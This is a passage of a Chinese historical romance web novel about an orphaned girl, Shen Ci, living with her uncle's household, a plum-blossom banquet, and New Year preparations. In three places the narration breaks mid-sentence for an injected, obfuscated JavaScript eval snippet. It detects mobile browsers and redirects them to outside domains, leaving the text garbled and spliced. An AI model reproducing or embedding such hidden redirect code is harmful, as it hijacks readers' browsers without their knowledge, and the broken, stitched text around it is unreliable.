成安伯府的赏梅宴闹得沸沸扬扬,知晓内情的,自然知道成安伯府打的什么主意,不知晓内情的,就觉着他们府上莫名其妙,寒冬腊月要赏梅。 腹诽的人不在少数。 但成安伯府家世地位摆着,莫说是赏梅,便是他府上要在月初赏月,也照样有人会捧场。 但这些要去捧场的人里头,并不包括沈瓷姊妹三人,宴会定在半月之后,同她们的女红课业撞了时间,所以她们谁都没有将这件事情放在心上。 成安伯府的宴会若真去不了,不见得会有什么损失,但绣帕若不绣好,可是会被教习师傅惩罚的。 半个月的时间,并不足以让她们绣好一对漂亮的鸳鸯。 沈瓷从前学什么都不用心,看一眼嫌麻烦,看两眼就要跑,从未有一件事是认认真真的去做好。 她本以为刺绣也是很麻烦的一件事,真正去做了后,才发觉并没有那么麻烦。 沈瓷用了十日的时间绣好了帕子,看着上头出具模样的鸳鸯,她的神情多少有些恍惚,这般简单的事… 当初怎么就不愿好好去做,让娘亲因这些事伤神头疼? 只是这些事根本就不会有答案,沈瓷也不过有感而发,她很快就调整好情绪,并未沉溺其中。 分好的绣线还有许多。 她便拿起多余的碎布开始描新的花样。 楚映梦因为这鸳鸯头疼不已,绣的无比认真,她算过进度,每日要绣多少根线才能赶在规定时限内完成。 抬头一看沈瓷已经绣完。 再看一眼,她竟再绘制新的花样。 楚映梦还以为自己看错下意识的就要去搓眼睛,见过认真的,可没见过这么认真的,还热衷于给自己上难度? 楚映梦默默的收回自己的视线,专注盯着眼前的鸳鸯,无论如何总不能落后阿瓷太多,她可是姐姐。 得给妹妹们做榜样。 沈瓷后头描绘的花样并非鸳鸯,而是一只憨态可掬舔着爪子的狸奴,她画的很用心,等到狸奴描绘好后就拿着剩余的绣线,开始绣这只狸奴。 楚映梦也想同沈瓷一般努力,但试了试才惊觉根本就办不到,这会子绣完一根线就将绣帕扔到了一旁,看向身边的沈瓷感慨道:“阿瓷,你实在是太厉害了。” “我和思怡连鸳鸯都不曾绣好,你竟然已经想着要做别的?” “算不上什么的。”沈瓷并没有因为表姐的赞叹而骄傲,她专注着手中的绣帕,一针一线的描绘。 “你要不要歇一歇?” 沈瓷浅浅的摇头,软软的开口,“不妨事,并没有很累的,我想在练习练习。” 楚映梦见沈瓷没有要停下的架势,也没再劝,只是坐在她身边和她说起成安伯府的事,“阿瓷对成安伯府了解多少?” “不怎么了解。”沈瓷声音轻轻淡淡,即便对方是原本的未婚夫,在她心中也不曾泛起多少波澜,就像是说一件无关紧要的事,“只是听母亲提过,成安伯府人口简单,嫁过去会安心许多。” “成安伯世子自然是好的,是金陵不少贵女的梦里人。”楚映梦说起这些的时候眼神亮亮的。 俨然是要得到沈瓷的认同。 “是吗?”沈瓷不曾见过成安伯世子,也不会将人想象的太美好,“我倒是觉得,表哥更好。” “什么?”楚映梦显然是不赞同这些话的,许是因为和哥哥们都太过熟悉,她半点没觉得自家哥哥是好的。 听到沈瓷提及,也只是皱起眉头。 沈瓷平素说话都很温柔,但面对表姐的质疑,倒是硬气不少,“我觉得表哥们更好。” 旁人和自家表哥比起来,自然是自家的更好些。 楚思怡本在一旁和鸳鸯大眼瞪小眼,听见姐姐和表姐的话之后顺势搭腔道:“表哥好。” 她的话让沈瓷和楚映梦都看了过来。 楚思怡显然没注意听两个姐姐在说些什么,只听见了表哥二字,煞有介事的肯定说道:“表哥好。” 她非常认真。 听到这儿的楚映梦也反应过来,“对,思怡说的没错,表哥最好。” 先前沈瓷说话时楚映梦还反驳,这会儿两人倒是统一了口径。 一致觉得表哥最好。 沈瓷有些疑惑的看过去,“表哥?” “对,我和思怡的表哥。”楚映梦点头附和,而后同沈瓷说起自己的表哥来,“虽然林世子也很优秀,但我们表哥才最厉害。” 在表姐和表妹的诉说之下,沈瓷被迫听了许多关于这位表哥的厉害之处。 她模模糊糊的有了一些印象。 母亲说过,舅母的娘家是永宁侯府,表姐和思怡说的这位表哥,便是永宁候世子裴珩。 沈瓷听过他的名字。 她并没有见过,若贸贸然的评价,原本就是不礼貌的行为。 只是表姐和表妹都眼巴巴的看着她,沈瓷也唯有斟酌语气应对,“裴世子,自然是好的。” 楚映梦和楚思怡深有同感的点了点头。 于是原先说起成安伯府的人如今也不提了,方才再绣鸳鸯的也停了手,开始齐齐思考起来,成安伯府到底有没有给永宁侯府送帖子。 表哥会不会去。 “表哥素来不爱参加这些宴会,也许不会前往。” “不是还有裴姝在?若裴姝去了,表哥应该也会去?” 二人叽叽喳喳的讨论着,沈瓷便安安静静的坐在一旁,除非她们问起,不然她就不说一句话,只专心的关注着自己手中的刺绣。 只是沈瓷不参与,楚映梦和楚思怡却不会忘记她,即便知晓她和裴珩并不相熟,还是会问她怎么看。 “这…”沈瓷捏着绣花针的手忍不住顿了顿,“想知道裴世子会不会前往,不若直接问?” 这是沈瓷能给出最好的建议。 谁知二人听见这话之后,齐齐的开始摇头,“还是算了吧,若是表哥要去,当日也能够瞧见,不着急。” 这一切都只是她们的猜测,拉上沈瓷一块儿也只是想有个人一起说说话,她们谁都没想过要亲自去问一问。 毕竟表哥虽好,可实在是太有距离感。 明明和大哥同龄,可瞧着就是比大哥成熟稳重,逢年过节去舅舅府上还能见着舅舅和表哥一块儿商议什么事。 但自家这儿… 爹爹就挺少和大哥二哥一块商议什么。 “阿瓷,日后你见着表哥,也要小心些。”楚映梦想起昔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635238|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日被裴珩教育的场景,忍不住的摁住了额头。 “裴世子很凶吗?” 沈瓷不知表姐为何特意开口提醒,她挺想说自己和裴世子也许不会有什么交集,但表姐特意提醒,沈瓷总不能不当一回事。 “也不是凶…”楚映梦有些纠结的抓抓头发,“表哥他其实对我们这些弟弟妹妹都挺好的。” 因为表哥府上还有个亲妹妹裴姝在,所以表哥对妹妹更好。 但是写不出功课也会被责罚的。 更因为表哥话语权过高,若是表哥同娘亲说了什么,那… 楚映梦只要一想到这些,谈论的心思就淡了七八分。 “阿瓷,我们还是不说这些,我觉着还是绣鸳鸯比较好。”楚映梦又急急忙忙的拿起手边的绣帕。 沈瓷虽然心中有些疑惑,却什么都没追问,顺从的点了点头。 “那我们再绣一些,早一日绣完也可早一日安心。” “对对,阿瓷说的对。” 绣鸳鸯可真是太好了。 宴会的日子如期而至,裴氏头一天就将新做好的衣裳给沈瓷送过去,因为她还在孝期,衣服的颜色都很素雅,上头有淡淡的暗纹,低调不张扬,却又不会寡淡。 衣服的料子和款式都是裴氏亲自定下的。 显然是舅母用了心的。 沈瓷拿到衣裳之后趁着天色尚早特意去谢过舅母。 裴氏缓缓点头,同沈瓷交代了几句,“你初到金陵,若是有什么人不认识的,也不用紧张,明日就和映梦思怡待在一处。” “是。”沈瓷软软的应声,特意给裴氏请安之后才返回福寿堂。 * 翌日一早,沈瓷和姊妹们一起去了成安伯府,三人同坐一辆马车,今日天气晴朗,是个很适合出游的日子,表姐和思怡为了不让她显得太特殊,出门时候的装扮也是素雅的。 在一众姹紫嫣红中显得格外不一样。 这一回宴会的名头是赏梅,那梅花早早的摆在了正中央,成安伯府显然是下了心思的,这株腊梅非常的特别,颜色也极其艳丽。 赏梅宴自然不单单仅有这么一株,还有别的腊梅。 分散在宴会厅的角角落落,就连桌上的器皿都是梅花的模样。 成安伯府热热闹闹,男宾女眷分席而坐,中间隔着一道屏风,沈瓷自幼长于平江,并不知晓金陵有哪些人家。 全程都和表姐表妹坐在一处。 表姐和表妹长在金陵,自然有相熟的手帕交,楚思怡早早的就和旁人玩去了,楚映梦记挂着沈瓷并未离开,让沈瓷很是内疚,“表姐若是有事不必顾念我,我一个人待着也没事的。” “不妨事,我同她们也不过点头之交,自是阿瓷更重要。”楚映梦牵着沈瓷的手带她出去逛了逛。 同她介绍起成安伯府来。 就在这时天上飘下了雪,两人都不曾打伞,大片大片的雪花落下来,很快就打湿了沈瓷的头发。 表姐和表妹心有灵犀,纷纷伸出手去扯身后斗篷的帽子,想要替彼此遮挡住风雪。 当帽子遮住落雪的那一刹那,二人相视一笑。 楚映梦便牵着她的手往回走去,“外头的雪下的大了,阿瓷我们回吧。” 沈瓷的手被表姐握住,表姐的手很暖,一直暖到了沈瓷的心里。 9. 第9章 沈瓷和楚映梦一同携手回到正厅,楚思怡看见她们俩立刻就跑到了二人面前。 “表姐,你和姐姐方才去哪里了?怎么都不带上我?”楚思怡撅着嘴道,神情有些不太高兴。 “就在外头逛了逛。”沈瓷听见这话赶忙开口安抚楚思怡。 沈瓷习惯的哄人,但楚映梦却不会惯着妹妹。 “谁让你前头不在的?”楚映梦毫不客气的开口,“若是你方才也在,自然不会落下你去。” “我又没有问你。”楚思怡气呼呼的开口,走到沈瓷的右边挽着她的手,坚决不去理自己的亲姐姐。 “表姐坐这儿,灿灿她们告诉我这个糕点特别好吃,你尝一尝。”楚映梦夹了一块糕点放在沈瓷面前的碗里。 她方才尝过,味道很是不错,才特意来找沈瓷,只是一时间没有找到。 “嗯。”沈瓷软声应下,尝了一块之后眼睛也亮了起来,表妹说的没错,这糕点的味道当真很好。 楚思怡见沈瓷也喜欢,心中愈发的高兴。 她当即喊来一旁的侍女,问这是什么糕点。 “回楚三姑娘的话,这是双月楼的芙蓉糕。” 楚思怡问到了想要的答案,浅浅的点了头,转身同姐姐们商议,一会儿回去的时候往双月楼绕一绕。 “上一回二哥送来的糕点就是双月楼的,阿瓷,我记得你说过云片酥好吃。”楚映梦开口搭话。 沈瓷也想起了这回事,顺着两人的话点了点头。 外面的雪越来越大,沈瓷看着外头心中有些担忧,这雪一时半会儿没有要停下的架势,一会儿可要怎么回去。 沈瓷的注意力全部都在外头的风雪上,并未注意到身边许多人都开始窃窃私语。 甚至都朝着一个方向看了过去。 她过了好一会儿才听见有人再说是裴世子来了。 这是沈瓷第二回听见裴珩的名字。头一次是从表姐和表妹的口中。 女眷和男宾的席面是分开的,沈瓷只听见许多人在谈论着,外头人头攒动,想来是那众星捧月的人终于出现。 她的心中也许会有一些好奇,但到底不多。 裴珩对沈瓷的吸引,尚不如手中的糕点。 思怡说的没错,双月楼的芙蓉糕的确很好吃,一会儿要多买一些回去。 楚修筠和楚景澄是同裴珩一块儿出现的,这样的场景早已经司空见惯,但每回遇见的时候还是有些不太习惯。 “哥,我都不想同表哥走在一块,实在是太惹人注目。”楚景澄小声的抱怨道。 每回站在表哥的身边都要被那么多人瞧着,惹得楚景澄万分小心,一言一行都格外注意,生怕被人抓到错处。 楚修筠也是如此。 两人自幼和裴珩一块儿一块儿长大,受到的注目自然也很多。 裴珩没注意到两人的窃窃私语,今日会来成安伯府纯粹是因为母亲的缘故,成安伯府的帖子自然也送去过永宁侯府,母亲接下了,回帖说会参加。 只是并未明说谁来。 原本是打算带着裴姝过来。 但裴姝晨起嫌冷不想出门,母亲也就遂了她的意,于是这宴会就落到了裴珩的头上。 他自然没有兴致过来看什么梅花,但这场宴会和忠毅伯府也有千丝万缕的关系,出于多方考量,裴珩最终决定出席。 身边三三两两坐了不少书院的同窗,裴珩看着周围的人,总有一种自己并未休沐的假象,神情有些恹恹的。 三人在书院时候就形影不离,旁人也知他们三人关系,打过招呼后便三三两两的凑在一处说话,并未刻意的往他们跟前凑。 裴珩今日来此就是迫不得已,故而他才坐下没有多久就已经开始计算着时辰,想着坐多久告辞才最合适。 只是还没等他想好,成安伯世子就带着自家二弟出现在裴珩的面前,礼数周全的同裴珩说事,“裴世子,借一步说话。” 裴珩往他身后看了眼,心中宛如明镜,他微微颔首同成安伯世子一道出了正厅。 剩下林书易和楚修筠兄弟俩大眼瞪小眼。 “呵。” 这是楚景澄的声音。 “哼。” 这是林书易的回礼。 楚修筠坐在一旁没说话,楚景澄也不愿搭理人,书院的人都知晓他们三人交恶,虽不知缘由,但没人想去当和事佬。 能进同一所书院的,家世大同小异,谁也不比谁差什么。 多是心高气傲的主,没有煽风点火已是极有修养的一件事。 毕竟几人吵起来也还能当个热闹瞧一瞧。 成安伯世子林书弘最近也因为弟弟和楚家兄弟交恶而感到头疼,自家退了沈家的亲,间接得罪忠毅伯府,楚家兄弟找林书易麻烦虽是意料之外,但也不全然没有准备。 无论是父母还是他,都觉得是小孩子的小打小闹,没太放在心上,可长此以往到底不是什么好事。 母亲策划了赏梅宴,本是有意要和忠毅伯府交好,林书弘自然也想和裴珩聊一聊彼此兄弟的事。 林书弘尚未开口时,裴珩就已经知晓他的目的,只是他没有打断安静的听着,无论林书弘说了什么,都没太在意。 直到他终于说完,才淡淡道:“景澄年岁渐长倒也不像幼时那般说得通,我终究只是他的表哥,到底亲疏有别。” 林书弘就这么眼睁睁的瞧着裴珩说出亲疏有别这四个字,若非他亲眼看见过楚家兄弟在裴珩面前的模样,说不准还真的会信。 他想说裴珩故意推脱,但这话他实在是说不出口,毕竟人家本就没什么理由要来帮忙说和。 “林二公子前些日子策论课上被夫子夸赞,景澄小孩脾气,许是不服气。”裴珩轻飘飘的开口。 “少年意气,总是难免。” “是,吗?”林书弘很是艰难的挤出这两个字,他想说并非如此,他们兄弟二人找上林书易分明是别的原因。 只是那原因,林书弘说不出口。 “景澄不是小孩子,有什么事他们自己也能够解决。”裴珩想起楚景澄对林书易的态度,开始睁着眼说瞎话,“从前没有什么交集,说不准之后关系也会渐渐融洽。” 林书弘:“?” 他总觉得裴珩在说什么笑话。 “毕竟,林二公子光明磊落,和景澄脾性相似,总是会相互吸引。”裴珩一顶又一顶的高帽戴过去,裴珩本人是怎么想的没人知晓,但林书弘已经被他说的有些恍恍惚惚。 实在是裴珩说话时太真诚了些。 好似他真的是那般想的,也好似事情真如裴珩所诉那般。 林书弘心中疑惑,可到底还是信了,他信裴珩不屑说假话。 谁曾想裴珩转身就将林书弘卖了个干净,至于林书易,他今日在林书弘面前过了明路。 便是他们三人日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635239|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常起争执,成安伯府也会往别的地方去想,就算不信又如何?现成的理由摆着,成安伯府难不成还要自己拆自己的台? 既如此,他们想怎么折腾,就怎么折腾。 因着林书弘的打岔,时间一晃眼过去了一个时辰,裴珩早已经坐不住,同主家说明缘由后便要告辞。 楚修筠和楚景澄自是同他一起。 “姑母和映梦她们应当也在。”裴珩淡淡提醒。 省的他们俩忘了礼数。 “婶娘和妹妹她们已经回了,比我们还早半个时辰。” 说话的人是楚修筠,方才在楚景澄和林书易大眼瞪小眼的时候,楚修筠就已经去见过婶娘。 同婶娘说好他们今日会晚一些回府。 “嗯?”裴珩有些疑惑,倒是没想到姑姑这么快就离开。 “表妹身子弱,娘担心她又受风,便早早带着她们回了。”楚景澄飞快的回答道。 实则是因为成安伯府的梅花没什么好看。 楚思怡和楚映梦都惦记着糕点。 就连一向对什么都没兴致的沈瓷提起糕点时眼睛也亮亮的。 裴氏想了想便带着孩子们告辞,这本是个很合适的理由,毕竟冬日的确冷了些,姑娘家柔弱,当长辈的有这样的担心人之常情。 谁知竟被楚景澄大剌剌的当着裴珩的面说出来。 这一切就变得不太一样。 裴珩想起先前楚修筠说起表妹染了风寒,心中有了数。 小姑娘身子似乎弱了些。 裴珩回到永宁侯府,照例去正院请安,恰巧裴姝也在,母女俩正在商议春节的节礼。 此番已是腊月,距离除夕已经不远。 春节也近在眼前。 许多东西都要开始准备。 裴珩过来的时候,裴夫人正在听女儿说起要给忠毅伯府府上的节礼,只见裴姝摆着手指头算着要送给哥哥姐姐们的东西,“修筠大哥哥,景澄二哥哥,映梦姐姐和思怡妹妹的。” “姑姑府上多了个孩子。”裴珩听妹妹说完后便出声提醒道。 “哦?是吗?”裴夫人明知故问。 她早已经知晓沈瓷的存在,只是她没想过这些话竟是从裴珩嘴里说出来的,此番的惊讶不似假装。 裴珩并不知母亲在想什么,见状还以为母亲不知这事。 “是修筠和景澄的表妹。”裴珩简单的介绍一番沈瓷的情况,而后又补充了一句,“前平江节度使沈毅之女。” 有些事便是那么的残忍无情。 陛下不久之前还因为沈毅的亡故大发雷霆,这些日子已经选好了接替人选,半月前走马上任。 人走茶凉。 不过短短一月,记住沈毅的人还能有多少? 就连裴珩自己提及,也在称呼前头加上了一个“前”。 趋炎附势之人何其多。 成安伯府不就是如此? 裴珩动了些许恻隐之心,故而开口提醒母亲和妹妹。 那姑娘很是艰难,礼数之间,就不必让个小姑娘受委屈了。 裴珩难得会考虑这些事,许是头一回又这样的心思,故而想问题还是片面了些。 全然没有想过母亲其实早已经知晓,并且方才若裴珩不开口,她也会提醒女儿的。 谁家的主母会在迎来送往的事情上不上心? 何况和忠毅伯府还是亲家关系呢。 10. 第10章 裴珩说完这些之后,就安安静静的坐在一旁听母亲和妹妹说话。 裴夫人的思绪还沉浸在裴珩方才说的话上头,忠毅伯府多出的小姑娘,她其实知道是什么人,什么身份,同小姑提及的时候,两人的心思都是一样的。 感慨唏嘘,觉得小姑娘太惨了些。 往后的日子会过的很艰难。 裴夫人确有恻隐之心,可这恻隐之心却不代表她愿意接受裴珩对她的特殊。 趋利避害,乃人之常情。 想到这里裴夫人委婉的开口试探,“既如此,不若多准备一些…毕竟是客不好失礼。” “倒也不必特殊对待,不将人漏下就好。” 裴珩语气淡淡,他一向喜怒不形于色,裴夫人有时候也不知裴珩究竟在想些什么,就拿这一回的事情来看。 裴珩其实极少特意的提及什么人,这才让裴夫人上了心,可瞧着裴珩的模样,倒也没有任何的不同。 “吾儿说言极是。” 裴夫人将方才忽然冒出来的念头抛诸脑后,又旁敲侧击的同裴珩说起亲事,这其实一直都是裴夫人忧心的事情。 金陵城中不知有多少人想和永宁侯府结亲,这几年裴夫人也不是没有相看过人家,但裴珩从不为所动。 倒不是裴珩忤逆不听,每每提及时,裴珩的态度永远平和,“婚姻大事父母之命,媒妁之言,母亲决定就好。” 听着倒是乖顺。 但唯有裴夫人清楚,裴珩根本就什么都没听进去,同他说张家小姐贤良淑德,他当时还点头,过几日再问,都能将人家姑娘的姓氏弄错。 这些事根本就不曾分走他一丝一毫的关注。 每每想到这里裴夫人都很发愁。 母亲和哥哥在说话的时候,裴姝就坐在一旁写礼单,她自从知晓姑姑家中多了一个姊妹后,心中就一直好奇。 便问母亲和哥哥,那是姐姐还是妹妹。 这可算是将裴夫人和裴珩给问住了。 裴珩只知道那是楚修筠和楚景澄的表妹,旁的一概不知。 他也只是在兄弟二人交谈时听过一些,从未主动的问过,这会儿自是回答不了妹妹的问题,“我也不太清楚。” 裴夫人其实也模模糊糊的,毕竟小姑同她见面,也从不是特意说起这些,大多都是谈话间顺带提及。 并不会有人刻意的问这些。 “那…这可怎么办?”裴姝有些苦恼,“我还要写红封。” 这要是卡在称呼上头,委实也太冤枉了一些。 偏偏裴姝还不能问哥哥知不知晓那沈姑娘的名讳,无论知道与否,说出来都是尴尬,“那我写信问一问映梦姐姐。” 不等母亲和哥哥说起,裴姝自己就找到了法子解决。 裴夫人暗暗的点了头,夸赞了裴姝几句。 见她们俩又讨论起旁的事情,裴珩便欲告辞,但裴夫人难得见裴珩有这般闲暇时候,便留他多坐了一会,浅浅笑起,“虽都是女眷的琐碎事,但你听一听也是有好处的。日后娶亲和媳妇也能说的上话。” 裴珩本想离开,但母亲都已经将话说到这个份上,他倒也不急着离开。 就坐在一旁听着母亲和妹妹说话。 虽都是女眷的事,但裴珩从未看不起女眷要忙碌的事,琐碎又繁杂,操持着诸多庶务,还要记住许多人情往来,他也从来都佩服母亲。 裴姝写完礼单之后又想起楚映梦的及笄礼,“映梦姐姐的及笄宴,我们也得提前备好礼。” “是了,明年还有这事儿要注意着。” 母女俩一言一语,就将许多事情定下,裴珩是一个合格的听众,只有在母亲和妹妹提起他的时候才会搭话。 好不容易大家都说完了话。 裴珩也终被允许回到住处。 他翻开一本看了许久的书,再一次重温起来,这一回再上头写下了批注。 书房里的灯一直燃到了深夜,裴珩虽学识过人,在金陵城也是小有名气,人人提及裴珩多是夸赞他优秀。 可哪有人是天生优秀的? 不过是日复一日的努力和自律换来的。 只是这些事,没有几个人知晓。 * 临近除夕,朝廷封印,书院也已经停课。 楚修筠和楚景澄最近都被母亲拘在家中温书,只因来年秋闱,他们的表哥想要下场一试,这件事两府的长辈都清楚。 他们从不怀疑裴珩的能力。 却高估他们兄弟二人的能力。 他们本是不愿的,可偏偏表哥说让他们去试一试也好,便是不成也能攒一攒经验。 就因为表哥的一句话,他们俩的日子就如此水深火热。 楚景澄没有什么胆子去正主面前抗议,只能偷偷和哥哥抱怨,“表哥想要下场,哥哥你和表哥同岁,爹娘答应并不稀奇,为何连我也要一起算上?” “我们一同念书,一同下场又有什么问题?”楚修筠疑惑的看了过来,看向楚景澄的眼神略带一点谴责,“难道你没有信心?” 看的楚景澄良心不安。 “倒,倒也不是有什么问题,只是若表哥榜上有名,我们俩落了榜,岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635240|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是太过丢人。”楚景澄认真的思索着。 楚修筠正在写文章,闻言头也没有抬一下。 可楚景澄今日不知为何非要纠结这事,将楚修筠吵的头疼,“除夕将至,你这般唉声叹气若是让婶娘知晓可不会轻饶了你。” “可是…哥,我是真的担心。”楚景澄眼中慌乱不似作假,那是真的在苦恼。 楚修筠放下手中的笔,无奈的摇了摇头,“表哥若是榜上有名,那是意料之中,我俩榜上无名才是正常,你究竟在担心什么?” 楚景澄:“…” “杞人忧天?” 楚景澄:“………” 他忽然不是很愿意听下去了,“哥你还是别说话的好。” 虽然知晓哥哥说的是实话,但这实话为何听起来这般的刺耳? 楚修筠看着弟弟的模样,深切明白了什么叫做反复无常。 余下的日子里兄弟二人都刻苦用功,裴氏瞧见后很是欣慰。 * 沈瓷并不知晓这些事,自从风寒痊愈之后,她每日都和姊妹们一起上课,一起学习女红,日子过得充实而平淡。 然而除夕将至,夫子也早早的结束了一年的课业。 不用每日早上去学堂念书,对于沈瓷而言还有些不太习惯。 她依旧保持着每日看书习字做女红的习惯,除此之外沈瓷还每日去正院给裴氏请安。 天越来越冷,她也从不懈怠。 裴氏也说过,不用她每日过来,“咱们府上没有这些规矩,映梦和思怡两个,若是不去学堂根本就起不来。” “这寒冬腊月的,犯不着特意过来。” 舅母素来慈爱,对她更是照顾。 沈瓷知晓舅母说这些话定是发自肺腑,但她却不能将舅母的慈爱当做理所当然,“我在家中时常常偷懒不念书,如今跟夫子学了不少知识,只觉眼界也开阔不少,只是先前养成的习惯不是那么好改的。” 她的声音有些苦恼。 “如今夫子不授课,我担心到了明年开春,就要将这些知识全给忘了。”沈瓷没说假话。 她知道,自己是存心讨好的,父母不在,舅舅便是她最亲近的人,只是舅舅公务繁忙,平素接触最多的人是舅母。 沈瓷不想让舅母误会。 她的心思很好猜测,甚至是明明白白摆出来的,裴氏也是从这个年纪过来的,如何不知沈瓷的不安? “你若是乐意,常来就好。”裴氏到底是松了口。 而沈瓷也达到了自己的目的。 这是心照不宣的默契。 11.第11章 除夕那日,沈瓷也照例去给裴氏请安,裴氏正在同张嬷嬷说除夕的赏钱,“丫鬟仆人们都忙碌了一整年,赏钱总不能少。” “夫人说的是。”张嬷嬷拿着名册细细的看起来,府上过年有赏钱,但因为年资和岗位的不同有些许出入,都需要仔细的核算。 张嬷嬷这些日子就是在忙碌这些。 “往年是怎么安排的,今年也如何安排。”裴氏吩咐完抬眸看向在一旁侍弄茶水的沈瓷,笑着招呼她到身边来,“还有阿瓷带来的丫鬟,也不要漏下了,就同映梦她们身边伺候的一样。” 沈瓷听到这里自然是拒绝的,“舅母,她们两个不需如此,赏钱我可以…” “好孩子,过来。”裴氏招呼沈瓷坐到自己的身边,细细的同她说道,“她们俩虽然是你从平江带过来的,可如今身契在舅母的手上,就算是忠毅伯府的人,平素也在府上当差,这人人都有的赏钱怎么好少了她们的?” “可是…”沈瓷还想着拒绝,但裴氏却笑着将此事揭过。 没给沈瓷继续说话的机会,只问她今日泡了什么茶,“从前不知道阿瓷竟有这样的本事,我原本是不爱喝茶的,如今倒是越品越觉得有味…先前你不在的时候,我让登枝冲了一盏,当真是不大好喝。” 裴氏端着一盏茶轻轻的抿了一口,“到底还是阿瓷泡的好喝。” “舅母喜欢就好。”沈瓷轻声开口。 裴氏口中的登枝是在她身边伺候的大丫鬟,这会子听见主子的话无奈的开了口,“夫人,在表姑娘的面前,您就给奴婢留一些面子吧。” “奴婢手底下还有小丫鬟呢。” 一番话说的裴氏忍不住笑起来,就连沈瓷脸上也挂着浅浅的笑。 “舅母谬赞,茶叶都是舅母这儿的,许是泡茶的手法不同,舅母若喜欢,我将法子交给登枝姐姐。”沈瓷很高兴舅母喜欢她泡的茶,无论她是真的这般觉得,还是故意哄她,于沈瓷而言,都是很令人高兴的一件事。 她真心孝敬裴氏,自然不会藏着掖着。 “这感情好,只要表姑娘不嫌奴婢蠢笨,奴婢也可以多学一门手艺。” 登枝听得出表姑娘并非恭维,这才主动的接话。 真心和假意其实很好分辨,裴氏看着沈瓷,眼中满是慈爱,“今日随是除夕,但今儿个金陵城里有庙会,一会儿让修筠和景澄带你们几个去逛一逛。” 裴氏不想成日将孩子们拘在府上,都是花儿一般的年纪,热热闹闹的就好。 “多谢舅母。” 裴氏给登使了个眼色,登枝会意,往里头走去,出来后手上多了个荷包,裴氏亲自将荷包递给沈瓷,“这是给你们姊妹三个的,想吃什么,想玩什么自己买去。” “若是看到喜欢的,买回来就好。” 裴氏吩咐完就让登枝送沈瓷回去,也好告诉两个女儿她的意思。 庙会热闹,但因为日子的关系很快就会散去,倒也不用特意的过来请安。 楚映梦和楚思怡等着沈瓷一块儿用早膳,没曾想竟得到了这么一个好消息,“那我们快一点收拾收拾出门。” 两人说话间就走过来牵沈瓷的手,一道去换出门的衣裳。 沈瓷看着桌上的那些吃食出声问道,“那这早膳?” “我们一会儿出去吃。” “之前不是说过让哥哥带我们出去用朝食,还一直都没去呢。”楚思怡还记得这件事,沈瓷倒是有一些模模糊糊的印象,只是早就抛诸脑后。 裴氏既有心让他们出去逛逛,也差人告知了楚修筠和楚景澄。 二人这些日子看书早已经看的头晕眼花,如今好不容易有能够出去的机会,自然不会错过。 小半个时辰之后,几人就出现在角门处。 三人上了马车,楚修筠和楚景澄在外头驾车,倒不是府上小气不给配小厮,纯粹是楚景澄更想试一试自己驾车。 丫鬟小厮在后头跟了一路。 前头人头攒动,车马不通,楚景澄将马车交给小厮,带着三个妹妹往里头走去。 楚映梦和楚思怡很高兴,两人一左一右的拉着沈瓷,显然是想要往反方向去。 “阿瓷,我们去看看那个。” “表姐,听说这个汤包特别的好吃。” “先去这边。” “先去吃汤包。” 楚映梦和楚思怡又开始争论起来。 沈瓷早已经习惯,但楚修筠和楚景澄还是头一回见到这样的场面,下意识的睁大了眼睛。 “这…”楚修筠见不得她们俩大过年的起争执,连忙开口劝,结果两个妹妹没有一个 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好在今日终于如愿,她笑的眉眼弯弯,和沈瓷问好,“原来,是沈姐姐。” 裴姝的性子活泼开朗,众人都相熟,遇上之后便相约一道逛庙会,裴姝今日出来是来买些东西的,而沈瓷她们本是打算随意逛逛。 于是众人便决定陪着裴姝去买东西。 “表哥怎么没陪着你一块出来?”问话的人是楚景澄,他是当真觉得很好奇,毕竟今日除夕,难不成表哥还在念书? 他不累的吗? 裴姝不知楚景澄的心思,便随口回答了一句,“哥哥他在家中看书,母亲让他歇一歇,他还将人给打发走了,母亲担心哥哥太过劳累,特意打发我出来买些哥哥喜欢的吃食回去。” 楚景澄:“……” 楚修筠:“……” 兄弟俩面面相觑,想了想表哥,又看了看自己,只觉得…十分惭愧。 几个姑娘全然不知道他们俩是什么心思,自顾自的光着,沈瓷原本对裴姝有些生疏,可有些时候人和人的缘分就是很奇妙,她们一下子就熟络起来。 待几人分别的时候,她们已经约好春暖花开的时候要一块儿去踏青。 好似已经相熟许久。 12.第12章 冬日的天黑的很快,才刚过了晌午,天色就渐渐暗了下来,同裴姝告别后,沈瓷一行人回到忠毅伯府,府上已经开始准备年夜饭。 楚思怡想去厨房瞧一瞧今日准备了什么甜点。 她本想拉着姐姐一起去的,可姐姐要和表姐一起去换衣裳,最终楚思怡只能退而求其次,和二哥一块去。 